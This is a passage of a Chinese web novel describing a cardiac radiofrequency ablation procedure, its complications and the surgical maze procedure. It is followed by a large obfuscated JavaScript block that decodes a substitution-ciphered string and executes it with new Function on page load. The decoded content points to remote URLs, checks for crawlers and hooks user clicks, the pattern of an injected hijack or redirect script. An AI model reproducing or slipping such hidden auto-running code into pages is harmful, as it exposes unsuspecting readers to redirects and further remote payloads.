“要不要进来手术室看看。”
对方邀请他进去直观,申友焕为了师弟大大方方接受。
射频消融和任何手术一样,只要是手术均有风险。比起其它心血管介入手术,射频消融这个技术无论在医学圈内或是普通老百姓中口碑总体上偏向不佳。
原因好比陈翔医生讨厌的腋下胸侧小切口手术,只要一个技术对于普通医生来说难以做好做完美,这个技术不可能太受欢迎。射频消融正是这样,看似普通医生入门上手的门槛不高,但是并发症以及做下来效果不佳的病例占据总病例数是偏高的。这点在各种医学研究文献描述中有所体现。
这个技术具体的难点在哪里,要先说到这个技术是如何操作的。
运用介入手术的常规操作方式,用导管从外周血管进入到心脏内部,进行心脏的电生理检查,再确定靶点进行消融。所谓消融,把一条特殊的导管叫做消融导管放入心腔内,通电烧死会发出异位起搏点导致心脏恶性心律失常的心肌。
从上述简单的描述中可以知道这个操作的技术风险点在哪里。
烧心肌不是闹着玩的事儿。烧错了的话,小则无效,大则把心脏的传导系统搞得更糟,恶性心律失常更恶性,或是直接大功率把心脏烧穿烧出个孔来。这些全是最可怕的并发症,虽然发生的机率非常之低。
以防万一的前提下需要心外科兜底的。和冠脉造影放支架不同的是,这种手术的心外科兜底不过是给你心脏烧出孔时补孔。如果说要像冠脉放支架行不通心外科可以做搭桥来顶替,目前心外科对于解决心脏传导系统的手段是非常尴尬的少。
少不代表完全没有。比如外科手术中解决这类问题最有名的迷宫手术,号称对房颤的治愈率在百分之九十五高于导管介入。问题是这种手术针对的是孤立性房颤最有效。其它的比较复杂的如魏同学这种要打折扣。
一般医生不主张不推荐去做的,迷宫手术要对心房表面大刀阔斧的改建,心房表面薄,经受不住让人改改改。
<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();